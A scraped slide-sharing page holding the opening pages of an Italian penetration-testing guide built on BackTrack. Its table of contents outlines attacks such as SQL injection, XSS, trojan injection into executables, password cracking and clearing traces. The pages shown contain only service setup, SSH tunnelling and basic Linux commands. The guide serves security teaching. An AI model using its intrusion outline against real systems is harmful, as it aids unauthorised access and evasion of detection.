EXTBANS - Extended ban types

/msg NickServ HELP command

-

For more information on a specific command

Basic Channel Commands
/whois nick - Quick info lookup on user
/ignore nick - Ignores user
/join #Channel - Join a channel ie. /join #computerhope
/mode nick +O - Give's user op status on own channel
/msg nick message - Send a private message. Always get permission
/quit - Quits a channel
/quit message - Quits and leave a message ie. /quit See you later
NickServ Commands
/msg
/msg
/msg
/msg

nickserv register your_password yourName@yourMailProvider nickserv confirm confirmation_code - To confirm nick
NickServ IDENTIFY password - Identifies nick with password
nickserv set hide email on - Hides email after u setup nick

To register nick

ChanServ Commands
/msg ChanServ REGISTER #Channel password description - Registers a channel in the ChanServ database
/msg ChanServ IDENTIFY #Channel password - Authenticates you to ChanServ as the founder of the given channel.
Many commands require you to use this command before using them. The password should be the same one you sent
with the REGISTER command
/msg BotServ ASSIGN #Channel bot

Luigi Capuzzello

-

Assigns a bot to a channel to help you manage your channel
Appendice D: crack WEP/WPA protocol con BackTrack.46

Appendice D: crack WEP/WPA protocol con BackTrack.
…
…

Luigi Capuzzello

Weitere ähnliche Inhalte

Was ist angesagt?

Эксплуатируем неэксплуатируемые уязвимости SAP
Эксплуатируем неэксплуатируемые уязвимости SAPЭксплуатируем неэксплуатируемые уязвимости SAP
Эксплуатируем неэксплуатируемые уязвимости SAPPositive Hack Days
 
Raúl Siles - Browser Exploitation for Fun and Profit Revolutions [RootedCON 2...
Raúl Siles - Browser Exploitation for Fun and Profit Revolutions [RootedCON 2...Raúl Siles - Browser Exploitation for Fun and Profit Revolutions [RootedCON 2...
Raúl Siles - Browser Exploitation for Fun and Profit Revolutions [RootedCON 2...RootedCON
 
Docker Plugin For DevSecOps
Docker Plugin For DevSecOpsDocker Plugin For DevSecOps
Docker Plugin For DevSecOpsPichaya Morimoto
 
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Positive Hack Days
 
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...idsecconf
 
Killing any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented featureKilling any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented featureCyber Security Alliance
 
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazyMichael Boman
 
Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]RootedCON
 
Linux Security APIs and the Chromium Sandbox
Linux Security APIs and the Chromium SandboxLinux Security APIs and the Chromium Sandbox
Linux Security APIs and the Chromium SandboxPatricia Aas
 
Passive SSH, a Fast-Lookup Database of SSH Key Materials to Support Incident ...
Passive SSH, a Fast-Lookup Database of SSH Key Materials to Support Incident ...Passive SSH, a Fast-Lookup Database of SSH Key Materials to Support Incident ...
Passive SSH, a Fast-Lookup Database of SSH Key Materials to Support Incident ...adulau
 
Passwords#14 - mimikatz
Passwords#14 - mimikatzPasswords#14 - mimikatz
Passwords#14 - mimikatzBenjamin Delpy
 
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)Rob Fuller
 
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis44CON
 
Год в Github bugbounty, опыт участия
Год в Github bugbounty, опыт участияГод в Github bugbounty, опыт участия
Год в Github bugbounty, опыт участияdefcon_kz
 
wordpress with nginx on virtualization, jail
wordpress with nginx on virtualization, jailwordpress with nginx on virtualization, jail
wordpress with nginx on virtualization, jailJongseok Choi
 
Summer of Fuzz: macOS
Summer of Fuzz: macOSSummer of Fuzz: macOS
Summer of Fuzz: macOSJeremy Brown
 
Угадываем пароль за минуту
Угадываем пароль за минутуУгадываем пароль за минуту
Угадываем пароль за минутуPositive Hack Days
 

Was ist angesagt? (20)

Эксплуатируем неэксплуатируемые уязвимости SAP
Эксплуатируем неэксплуатируемые уязвимости SAPЭксплуатируем неэксплуатируемые уязвимости SAP
Эксплуатируем неэксплуатируемые уязвимости SAP
 
Raúl Siles - Browser Exploitation for Fun and Profit Revolutions [RootedCON 2...
Raúl Siles - Browser Exploitation for Fun and Profit Revolutions [RootedCON 2...Raúl Siles - Browser Exploitation for Fun and Profit Revolutions [RootedCON 2...
Raúl Siles - Browser Exploitation for Fun and Profit Revolutions [RootedCON 2...
 
Docker Plugin For DevSecOps
Docker Plugin For DevSecOpsDocker Plugin For DevSecOps
Docker Plugin For DevSecOps
 
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
 
mimikatz @ rmll
mimikatz @ rmllmimikatz @ rmll
mimikatz @ rmll
 
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
Information Theft: Wireless Router Shareport for Phun and profit - Hero Suhar...
 
Killing any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented featureKilling any security product … using a Mimikatz undocumented feature
Killing any security product … using a Mimikatz undocumented feature
 
Hands-on ethernet driver
Hands-on ethernet driverHands-on ethernet driver
Hands-on ethernet driver
 
How to drive a malware analyst crazy
How to drive a malware analyst crazyHow to drive a malware analyst crazy
How to drive a malware analyst crazy
 
Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]Joxean Koret - Database Security Paradise [Rooted CON 2011]
Joxean Koret - Database Security Paradise [Rooted CON 2011]
 
Linux Security APIs and the Chromium Sandbox
Linux Security APIs and the Chromium SandboxLinux Security APIs and the Chromium Sandbox
Linux Security APIs and the Chromium Sandbox
 
Passive SSH, a Fast-Lookup Database of SSH Key Materials to Support Incident ...
Passive SSH, a Fast-Lookup Database of SSH Key Materials to Support Incident ...Passive SSH, a Fast-Lookup Database of SSH Key Materials to Support Incident ...
Passive SSH, a Fast-Lookup Database of SSH Key Materials to Support Incident ...
 
Passwords#14 - mimikatz
Passwords#14 - mimikatzPasswords#14 - mimikatz
Passwords#14 - mimikatz
 
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
Attacker Ghost Stories (CarolinaCon / Area41 / RVASec)
 
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
 
Unsecuring SSH
Unsecuring SSHUnsecuring SSH
Unsecuring SSH
 
Год в Github bugbounty, опыт участия
Год в Github bugbounty, опыт участияГод в Github bugbounty, опыт участия
Год в Github bugbounty, опыт участия
 
wordpress with nginx on virtualization, jail
wordpress with nginx on virtualization, jailwordpress with nginx on virtualization, jail
wordpress with nginx on virtualization, jail
 
Summer of Fuzz: macOS
Summer of Fuzz: macOSSummer of Fuzz: macOS
Summer of Fuzz: macOS
 
Угадываем пароль за минуту
Угадываем пароль за минутуУгадываем пароль за минуту
Угадываем пароль за минуту
 

Andere mochten auch

Buffer Overflow - Shellcode - Shatter Attack
Buffer Overflow - Shellcode - Shatter AttackBuffer Overflow - Shellcode - Shatter Attack
Buffer Overflow - Shellcode - Shatter Attackluigi capuzzello
 
Scacchi: tattiche di base.
Scacchi: tattiche di base.Scacchi: tattiche di base.
Scacchi: tattiche di base.luigi capuzzello
 
Assembly and Reverse Engineering
Assembly and Reverse EngineeringAssembly and Reverse Engineering
Assembly and Reverse Engineeringluigi capuzzello
 
Real-time Static Malware Analysis Using NepenthesFE
Real-time Static Malware Analysis Using NepenthesFEReal-time Static Malware Analysis Using NepenthesFE
Real-time Static Malware Analysis Using NepenthesFENetwork Intelligence India
 
Distributed Denial of Service (DDos) Testing Methodology
Distributed Denial of Service (DDos) Testing MethodologyDistributed Denial of Service (DDos) Testing Methodology
Distributed Denial of Service (DDos) Testing MethodologyNetwork Intelligence India
 

Andere mochten auch (20)

Buffer Overflow - Shellcode - Shatter Attack
Buffer Overflow - Shellcode - Shatter AttackBuffer Overflow - Shellcode - Shatter Attack
Buffer Overflow - Shellcode - Shatter Attack
 
Perl
PerlPerl
Perl
 
NII Social Engineering Case Study
NII Social Engineering Case StudyNII Social Engineering Case Study
NII Social Engineering Case Study
 
Scacchi: tattiche di base.
Scacchi: tattiche di base.Scacchi: tattiche di base.
Scacchi: tattiche di base.
 
Advanced persistent threats
Advanced persistent threatsAdvanced persistent threats
Advanced persistent threats
 
Assembly and Reverse Engineering
Assembly and Reverse EngineeringAssembly and Reverse Engineering
Assembly and Reverse Engineering
 
PCI DSS for Penetration Testing
PCI DSS for Penetration TestingPCI DSS for Penetration Testing
PCI DSS for Penetration Testing
 
XML Interfaces to the popular Nessus Scanner
XML Interfaces to the popular Nessus ScannerXML Interfaces to the popular Nessus Scanner
XML Interfaces to the popular Nessus Scanner
 
The Economics of Security
The Economics of SecurityThe Economics of Security
The Economics of Security
 
National Cyber Security Policy 2013
National Cyber Security Policy 2013National Cyber Security Policy 2013
National Cyber Security Policy 2013
 
Regular expression
Regular expressionRegular expression
Regular expression
 
Application security enterprise strategies
Application security enterprise strategiesApplication security enterprise strategies
Application security enterprise strategies
 
Real-time Static Malware Analysis Using NepenthesFE
Real-time Static Malware Analysis Using NepenthesFEReal-time Static Malware Analysis Using NepenthesFE
Real-time Static Malware Analysis Using NepenthesFE
 
Web Application Security Strategy
Web Application Security Strategy Web Application Security Strategy
Web Application Security Strategy
 
Scada assessment case study
Scada assessment case studyScada assessment case study
Scada assessment case study
 
Understanding Governance
Understanding GovernanceUnderstanding Governance
Understanding Governance
 
Virtualization security audit
Virtualization security auditVirtualization security audit
Virtualization security audit
 
Distributed Denial of Service (DDos) Testing Methodology
Distributed Denial of Service (DDos) Testing MethodologyDistributed Denial of Service (DDos) Testing Methodology
Distributed Denial of Service (DDos) Testing Methodology
 
Netcat - 101 Swiss Army Knife
Netcat - 101 Swiss Army KnifeNetcat - 101 Swiss Army Knife
Netcat - 101 Swiss Army Knife
 
How To Protect Your Website From Bot Attacks
How To Protect Your Website From Bot AttacksHow To Protect Your Website From Bot Attacks
How To Protect Your Website From Bot Attacks
 

Ähnlich wie Sicurezza informatica

Sicurezza informatica sygest_short
Sicurezza informatica sygest_shortSicurezza informatica sygest_short
Sicurezza informatica sygest_shortEmanuela Corradini
 
Black berry playbook security part one
Black berry playbook security   part oneBlack berry playbook security   part one
Black berry playbook security part oneYury Chemerkin
 
Attacking IoT Devices from a Web Perspective - Linux Day
Attacking IoT Devices from a Web Perspective - Linux Day Attacking IoT Devices from a Web Perspective - Linux Day
Attacking IoT Devices from a Web Perspective - Linux Day Simone Onofri
 
Secrets of a linux ninja Software Freedom Day 2013 Johannesburg, South Africa
Secrets of a linux ninja  Software Freedom Day 2013 Johannesburg, South AfricaSecrets of a linux ninja  Software Freedom Day 2013 Johannesburg, South Africa
Secrets of a linux ninja Software Freedom Day 2013 Johannesburg, South AfricaJumping Bean
 
NSC 2014 HomePlugAV PLC: Practical attacks and backdooring
NSC 2014 HomePlugAV PLC: Practical attacks and backdooring NSC 2014 HomePlugAV PLC: Practical attacks and backdooring
NSC 2014 HomePlugAV PLC: Practical attacks and backdooring 📡 Sebastien Dudek
 
Improved kernel based port-knocking in linux
Improved kernel based port-knocking in linuxImproved kernel based port-knocking in linux
Improved kernel based port-knocking in linuxdinomasch
 
Backtrack4 guide-tutorial
Backtrack4 guide-tutorialBacktrack4 guide-tutorial
Backtrack4 guide-tutorialJoanna Stokes
 
Wireshark guia - prático
Wireshark guia - práticoWireshark guia - prático
Wireshark guia - práticobob Silva
 
Malware Analysis: Ransomware
Malware Analysis: RansomwareMalware Analysis: Ransomware
Malware Analysis: Ransomwaredavidepiccardi
 
Anomaly_Analysis_of_OpenStack_Firewall_Polices_Report
Anomaly_Analysis_of_OpenStack_Firewall_Polices_ReportAnomaly_Analysis_of_OpenStack_Firewall_Polices_Report
Anomaly_Analysis_of_OpenStack_Firewall_Polices_ReportCiaran McDonald
 
Penetration Testing Project Game of Thrones CTF: 1
Penetration Testing Project Game of Thrones CTF: 1Penetration Testing Project Game of Thrones CTF: 1
Penetration Testing Project Game of Thrones CTF: 1Florin D. Tanasache
 
Comparative Analysis of Personal Firewalls
Comparative Analysis of Personal FirewallsComparative Analysis of Personal Firewalls
Comparative Analysis of Personal FirewallsAndrej Šimko
 
20131015_demo_oshk
20131015_demo_oshk20131015_demo_oshk
20131015_demo_oshkJeff Yang
 
Secure shell performance testing
Secure shell performance testingSecure shell performance testing
Secure shell performance testingSami Knuutinen
 
The current state of anonymous filesharing
The current state of anonymous filesharingThe current state of anonymous filesharing
The current state of anonymous filesharingMarc Seeger
 
Fire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS FirewallsFire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS FirewallsPriyanka Aash
 
MQTTS mosquitto - cheat sheet -
MQTTS mosquitto - cheat sheet -MQTTS mosquitto - cheat sheet -
MQTTS mosquitto - cheat sheet -Naoto MATSUMOTO
 

Ähnlich wie Sicurezza informatica (20)

Sicurezza informatica sygest_short
Sicurezza informatica sygest_shortSicurezza informatica sygest_short
Sicurezza informatica sygest_short
 
Black berry playbook security part one
Black berry playbook security   part oneBlack berry playbook security   part one
Black berry playbook security part one
 
Attacking IoT Devices from a Web Perspective - Linux Day
Attacking IoT Devices from a Web Perspective - Linux Day Attacking IoT Devices from a Web Perspective - Linux Day
Attacking IoT Devices from a Web Perspective - Linux Day
 
Secrets of a linux ninja Software Freedom Day 2013 Johannesburg, South Africa
Secrets of a linux ninja  Software Freedom Day 2013 Johannesburg, South AfricaSecrets of a linux ninja  Software Freedom Day 2013 Johannesburg, South Africa
Secrets of a linux ninja Software Freedom Day 2013 Johannesburg, South Africa
 
NSC 2014 HomePlugAV PLC: Practical attacks and backdooring
NSC 2014 HomePlugAV PLC: Practical attacks and backdooring NSC 2014 HomePlugAV PLC: Practical attacks and backdooring
NSC 2014 HomePlugAV PLC: Practical attacks and backdooring
 
Improved kernel based port-knocking in linux
Improved kernel based port-knocking in linuxImproved kernel based port-knocking in linux
Improved kernel based port-knocking in linux
 
Backtrack4 guide-tutorial
Backtrack4 guide-tutorialBacktrack4 guide-tutorial
Backtrack4 guide-tutorial
 
Wireshark guia - prático
Wireshark guia - práticoWireshark guia - prático
Wireshark guia - prático
 
Malware Analysis: Ransomware
Malware Analysis: RansomwareMalware Analysis: Ransomware
Malware Analysis: Ransomware
 
Anomaly_Analysis_of_OpenStack_Firewall_Polices_Report
Anomaly_Analysis_of_OpenStack_Firewall_Polices_ReportAnomaly_Analysis_of_OpenStack_Firewall_Polices_Report
Anomaly_Analysis_of_OpenStack_Firewall_Polices_Report
 
Penetration Testing Project Game of Thrones CTF: 1
Penetration Testing Project Game of Thrones CTF: 1Penetration Testing Project Game of Thrones CTF: 1
Penetration Testing Project Game of Thrones CTF: 1
 
Comparative Analysis of Personal Firewalls
Comparative Analysis of Personal FirewallsComparative Analysis of Personal Firewalls
Comparative Analysis of Personal Firewalls
 
Backtrack Manual Part2
Backtrack Manual Part2Backtrack Manual Part2
Backtrack Manual Part2
 
20131015_demo_oshk
20131015_demo_oshk20131015_demo_oshk
20131015_demo_oshk
 
Linux install
Linux installLinux install
Linux install
 
Secure shell performance testing
Secure shell performance testingSecure shell performance testing
Secure shell performance testing
 
The current state of anonymous filesharing
The current state of anonymous filesharingThe current state of anonymous filesharing
The current state of anonymous filesharing
 
Docker security - TASK Jan 2016
Docker security - TASK Jan 2016Docker security - TASK Jan 2016
Docker security - TASK Jan 2016
 
Fire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS FirewallsFire & Ice: Making and Breaking macOS Firewalls
Fire & Ice: Making and Breaking macOS Firewalls
 
MQTTS mosquitto - cheat sheet -
MQTTS mosquitto - cheat sheet -MQTTS mosquitto - cheat sheet -
MQTTS mosquitto - cheat sheet -
 

Sicurezza informatica

  • 1. LUIGI CAPUZZELLO Sicurezza Informatica Black Box Penetration test Versione: 2.0 Luigi Capuzzello 17/11/2013 http://www.linkedin.com/pub/luigi-capuzzello/7/561/12a http://www.slideshare.net/luigicapuzzello @FisherKasparov luigi.capuzzello Il documento si propone di analizzare in dettaglio le fasi di un penetration test (information gathering, ricerca exploit, client side attack, password cracking, backdoor). La distribuzione GNU/Linux utilizzata come piattaforma di base per eseguire i penetration test è BackTrack.
  • 2. Appendice D: crack WEP/WPA protocol con BackTrack.2 Sommario Backtrack Basic....................................................................................................................................4 Services.............................................................................................................................................4 Linux: alcuni comandi utili..............................................................................................................7 Basic: mount device / network share............................................................................................7 Installare aggiornare un programma...........................................................................................7 Elenco comandi comuni...............................................................................................................7 Bash Environment..........................................................................................................................11 Variabili......................................................................................................................................11 Passaggio di parametri................................................................................................................11 User Input...................................................................................................................................11 Bash Trap Command..................................................................................................................11 Array...........................................................................................................................................12 Leggere un file e metterlo in un Array.......................................................................................12 if statement.................................................................................................................................12 For statement..............................................................................................................................12 Arithmetic Comparison..............................................................................................................13 String Comparison......................................................................................................................13 Bash File Testing........................................................................................................................13 Funzioni......................................................................................................................................14 Alcuni esempi di comandi interessanti.......................................................................................14 python environment........................................................................................................................18 Rendersi invisibili...............................................................................................................................21 iptables............................................................................................................................................21 TORtunnel: installazione................................................................................................................21 TORtunnel: nmap...........................................................................................................................22 TORtunnel: hydra...........................................................................................................................22 TORtunnel: sqlmap........................................................................................................................22 TORtunnel: firefox.........................................................................................................................22 scansione porte...............................................................................................................................22 Information Gathering........................................................................................................................23 Service Information Gathering...........................................................................................................24 Nmap..............................................................................................................................................24 FTP (21)..........................................................................................................................................24 DNS (53)........................................................................................................................................24 SNMP (161)....................................................................................................................................24 SMTP (25)......................................................................................................................................24 SMB (139 - 445).............................................................................................................................24 HTTP (80) (scanning delle reti)....................................................................................................25 Verifica iniziale..........................................................................................................................25 XSS: Cross Site Scripting...........................................................................................................26 XSRF: Cross Site Reference Forgery.........................................................................................27 Path Traversal Attack.................................................................................................................27 SQL Injection.............................................................................................................................28 SQL Injection: sqlmap:...............................................................................................................28 SQL Injection: MySQL..............................................................................................................28 SQL Injection: Access................................................................................................................28 Exploit: ricerca vulnerabilità note......................................................................................................29 Luigi Capuzzello
  • 3. Appendice D: crack WEP/WPA protocol con BackTrack.3 Exploit: eseguire.................................................................................................................................29 Nessus e Metasploit........................................................................................................................29 Metasploit autopwn........................................................................................................................29 Metasploit.......................................................................................................................................29 Meterpreter.................................................................................................................................29 da siti web.......................................................................................................................................29 Client side Attack...............................................................................................................................30 aurora / autoPWN (payload)...........................................................................................................30 !!!! iniettare trojan in eseguibile.....................................................................................................30 smb_relay (payload).......................................................................................................................30 smb sniff password.........................................................................................................................31 Password Cracking.............................................................................................................................32 Online password.............................................................................................................................32 John come dizionario..................................................................................................................32 Offline password............................................................................................................................33 Cosa fare dopo che ho una shell.........................................................................................................34 subito ….........................................................................................................................................34 con Tftp (no in vista e 7)................................................................................................................34 con Ftp............................................................................................................................................34 DEBUG.exe (no 7).........................................................................................................................35 Vb script.........................................................................................................................................35 Internet Explorer.............................................................................................................................35 wget................................................................................................................................................35 Shell su macchina non routable: ssh tunneling...............................................................................36 Pulire le tracce lasciate.......................................................................................................................37 Network Fun (pwb3.doc)...................................................................................................................38 Netcat..............................................................................................................................................38 Port redirection: rinetd....................................................................................................................38 Encapsulation - stunnel...................................................................................................................39 HTTP CONNECT Tunneling.........................................................................................................40 ProxyTunnel...................................................................................................................................40 SSH Tunneling...............................................................................................................................41 Chiave pubblica e privata...............................................................................................................41 SSH: configurare con chiave pubblica e privata............................................................................42 Appendice A: Service exploit.............................................................................................................43 Appendice B: siti utili.........................................................................................................................44 Appendice C: IRC command.............................................................................................................45 Appendice D: crack WEP/WPA protocol con BackTrack.................................................................46 Luigi Capuzzello
  • 4. Appendice D: crack WEP/WPA protocol con BackTrack.4 Backtrack Basic. La distrubuzione BackTrack consente di attivare e disattivare facilmente tutti i principali servizi e le applicazioni server che servono per realizzare un penetration test. Services ENTRARE IN RETE Per farlo è necessario settare un indirizzo IP valido root@bt:~# ifconfig eth0 192.168.0.4/24 root@bt:~# route add default gw 192.168.0.1 root@bt:~# route add -net 192.168.1.0 netmask 255.255.255.0 eth0 Definire il server DNS: root@bt:~# echo nameserver 192.168.0.1 > /etc/resolv.conf Eventualmente collegarsi ad un access Point wireless: root@bt:~# iwconfig eth1 essid sygest key 123451234512341234ABCDABCD channel 11 DHCP: Se esiste un server DHCP valido allora è sufficiente: root@bt:~# dhclient eth0 APACHE root@bt:~# /etc/init.d/apache2 start root@bt:~# /etc/init.d/apache2 stop SERVER FTP Attivo il database del server pureFTP # pure-pw mkdb # ln -s /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/PureDB # nano /etc/pure-ftpd/conf/PAMAuthentication Cmbiare ‘yes’ in ‘mp’ E’ ora necessario abilitare il file pdb; per farlo è necessario fermare il server per evitare errori facendo partire servizi su porte che sono già I uso. # /etc/init.d/pure-ftpd stop # /usr/sbin/pure-ftpd -j -lpuredb:/etc/pure-ftpd/pureftpd.pdb & # /etc/init.d/pure-ftpd start # chmod 777 /ftphome/ creo un nuovo utente ftp: 1. utente hacker 2. appartenente al gruppo ftpuser 3. con home directory /ftphome/ #pure-pw useradd hacker –u ftpuser –d /ftphome/ Inserisco l’utente creato nel database con #pure-pwd mkdb Faccio partire il server FTP #/etc/init.d/pure-ftpd restart SAMBA CLIENT #smbclient macchina_remotacartella – U <utente definito sulla macchina (non di dominio)> Get: per scaricare i file Put: per uplodare i file Luigi Capuzzello
  • 5. Appendice D: crack WEP/WPA protocol con BackTrack.5 SAMBA SERVER Configuro /etc/samba/smb.conf in modo da condividere una cartella [global] workgroup = <gruppo definito sulla macchina> server string = foo security = user load printers = yes log file = /var/log/samba.%m max log file = 50 socket option = TCP_NODELAY [home] comment = Home Directory path = /home/luigi/ valid users = sambausr luigi writable = yes L'esempio illustrato sopra consente agli utenti sambausr e luigi di leggere e scrivere nella directory /home/luigi, sul server Samba da un client Samba. - Faccio partire samba server # service smb restart SSH SERVER root@bt:~# sshd-generate (la prima volta) root@bt:~# /etc/init.d/ssh start SSH CLIENT Supponiamo di voler fare un collegamento da ‘mypc’ alla macchina ‘work’ passando dal gateway ‘gate’ (su cui gira sshd). Da mypc eseguo: mypc# ssh –p 10022 –l root –L 7777:work:25 gate cat Apro una connessione ssh con utente root su ‘gate’ (porta 10022) ed eseguo il commando cat (che mi consente di tenere la sessione aperta). –L : ridirigo tutto ciò che mando alla porta 7777 di mypc sulla porta 25 di work. Attivando il comando mi verrà chiesta la password di root su ‘gate’. Una volta creato il tunnel lo posso usare da ‘mypc’ con comandi come: mypc# telnet 127.0.0.1 7777 (mi collega alla porta 25 di work) TFTPD Lo faccio partire su una determinate cartella e porta root@bt:~# atftpd --daemon --port 69 /tmp Per prelevare file faccio: #tftp -i <IP remoto> GET <file> VNC SERVER Luigi Capuzzello
  • 6. Appendice D: crack WEP/WPA protocol con BackTrack.6 Parte sulla porta 5901 e ha bisogno di una password per poter essere acceduto root@bt:~# vncserver Luigi Capuzzello
  • 7. Appendice D: crack WEP/WPA protocol con BackTrack.7 Linux: alcuni comandi utili. Segue un elenco di alcuni dei comandi linux che vengono utilizzati più di frequente. L’elenco è molto sintetico; esula dalla seguente trattazione la definizione dettagliata dei concetti di base che sottendo l’utilizzo dei comandi. Basic: mount device / network share #fdisk –l (visualizzo tutti i dispositivi che il kernel vede) #mount /dev/hda1 /mnt/hda1 #ls -l /mnt/hda1 Installare aggiornare un programma. Con codice sorgente: tar zxvf program.tar.gz cd to the new program folder ./configure make su root make install make clean make distclean pacchetto rpm rpm -i /doveeilfile/nome.rpm rpm -U /doveeilfile/nome.rpm rpm -e /doveeilfile/nome.rpm #per installare il pacchetto #per fare un update del pacchetto #per disinstallare un pacchetto pacchetto .deb dpkg -i ./percorso/nomepacchetto.deb dpkg -r ./percorso/nomepacchetto.deb yum e apt-get apt-get update yum update #per installare un pacchetto #per rimuovere un pacchetto #aggiornamento del repository (elenco sorgenti /etc/apt/sources.list) il file per configurare apt-get è in /etc/apt/source.list #aggiornamento del repository apt-cache search squirrelmail yum search squirrelmail #Ricerca all'interno del database dei pacchetti # Ricerca all'interno del database dei pacchetti yum install tcpdump apt-get install tcpdump #Installare un pacchetto #Installare un pacchetto yum remove tcpdump apt-get remove tcpdump #rimuove un pacchetto #rimuove un pacchetto svn: sistema di controllo versione Subversion per estrarre una cartella dal repository (co sta per check out) mv programming programming-bk svn co file:///home/mysurface/repo/programming_repo programming per estrarre un file dal repository svn export file:///home/mysurface/repo/programming_repo/c/curses/matrix.cc Elenco comandi comuni. alias elenco ‘ls –la’ -il comando ‘elenco’ corrisponde a ‘ls –la. Per copiare parti di memoria e salvarle su file è necessario utilizzare il comando dd.. Luigi Capuzzello
  • 8. Appendice D: crack WEP/WPA protocol con BackTrack.8 Ad esempio se voglio salvare il MBR devo utilizzare il comando: #dd if=/dev/hda of=mbrwindow count=1 bs=512 Per ripristinare il MBR danneggiato devo #dd if= mbrwindow of=/dev/hda count=1 bs=512 Per testare le dimensioni di una cartella posso fare: #du -ah --max-depth=1 / Per visualizzare le prime righe di un file: #head –n <nr righe> file Librerie dinamiche (.so): ldd - ldconfig Le librerie associate ad un programma possono essere: • Statiche (.sa): • Dinamiche (.so): Posso verificare quali librerie non sono caricate all’interno del programma con ldd #ldd /path/<programma> Se il mio programma non viene eseguito a causa di collegamenti alle librerie esterne, per risolvere il problema posso fare in vari modi • #ldconfig • metto il path della libreria che il programma non trova in ‘/etc/ld.so.conf’ ed eseguo ancora ldconfig • metto il path della libreria nella variabile d’ambiente ‘LD_LIBRARY_PATH’ setenv LD_LIBRARY_PATH /Path/alla/mia/library/ Moduli (.ko): modprobe Per visualizzare tutti i moduli che ho a disposizione: #modprobe -l Se non trovo il modulo che mi serve allora devo ricompilare il kernel! Per caricare un modulo e le sue dipendenze utilizzo il comando modprobe. Ad esempio se cerco le dipendenze del modulo zd1211 # modprobe zd1211 Per caricare tutti i moduli: # modprobe -a Per scaricare un modulo basta (tornando al caso precedente): # modprobe –r zd1211 rm –r <cartella> Mi consente di cancellare una cartella e tutte le sottocartelle. tail –f <nome file> Visualizza le ultime linee di un file. Con l'opzione "-f" visualizza le ultime righe. uname Restituisce informazioni relative a: # uname –r la versione del kernel in uso # uname –p il tipo di processore in uso # uname –a tutte le informazioni basename - dirname #basename /usr/idrogeno/ossigeno #ossigeno #dirname /usr/idrogeno/ossigeno #/usr/idrogeno find /etc –name hosts.* –print Ricerca file di qualsiasi tipo nel filesystem. #groupadd mioGruppo Luigi Capuzzello
  • 9. Appendice D: crack WEP/WPA protocol con BackTrack.9 Per creare un nuovo gruppo basta #useradd mioUtente –c Commento –d /mia Home –g mio Gruppo Creo l’utente ‘mioUtente’ con un commento descrittivo ‘Commento’ con la home in ‘MiaHome’ e appartenente al gruppo ‘Gruppo’ Per dare una password all’utente farò: #passwd mioUtente suaPassword Per cancellare gli utenti e i gruppi uso #groupdel #userdel namei Scompone un path nei suoi elementi e li analizza uno per uno identificandoli come: • f: il pathname che si sta analizzando; • d directory; • l link simbolico; • s socket; • b block device (dispositivo a blocchi); • c character device (dispositivo a caratteri); • - file normale; • ? errore. Esempi $ namei /usr/bin/X11 Genera il seguente risultato: f: /usr/bin/X11 d/ d usr d bin l X11 -> ../X11R6/bin d .. d X11R6 d bin [tar – gzip – zip]. #tar –cvf MiaCartella.tar MiaCartella #tar –xvf MiaCartella.tar gzip NomeFile gunzip NomeFile.gz  ottengo NomeFile.gz  ottengo NomeFile zip NomeFile unzip NomeFile.zip  ottengo NomeFile.zip  ottengo NomeFile grep #grep Parola /etc/ -r -cerca ‘Parola’ all’interno di tutti i file di /etc e in tutte le sottocartelle (-r) Cut - awk #echo “oggi:dopo:la messa:vado a casa” | cut –d : -f 3 preleva ‘la messa’ cut -d ' ' -f2,3 filename è equivalente a awk -F'[ ]' '{ print $2, $3 }' filename il vantaggio è che posso invertire l’ordine degli addendi : awk -F'[ ]' '{ print $3, $2 }' filename Luigi Capuzzello
  • 10. Appendice D: crack WEP/WPA protocol con BackTrack.10 Luigi Capuzzello
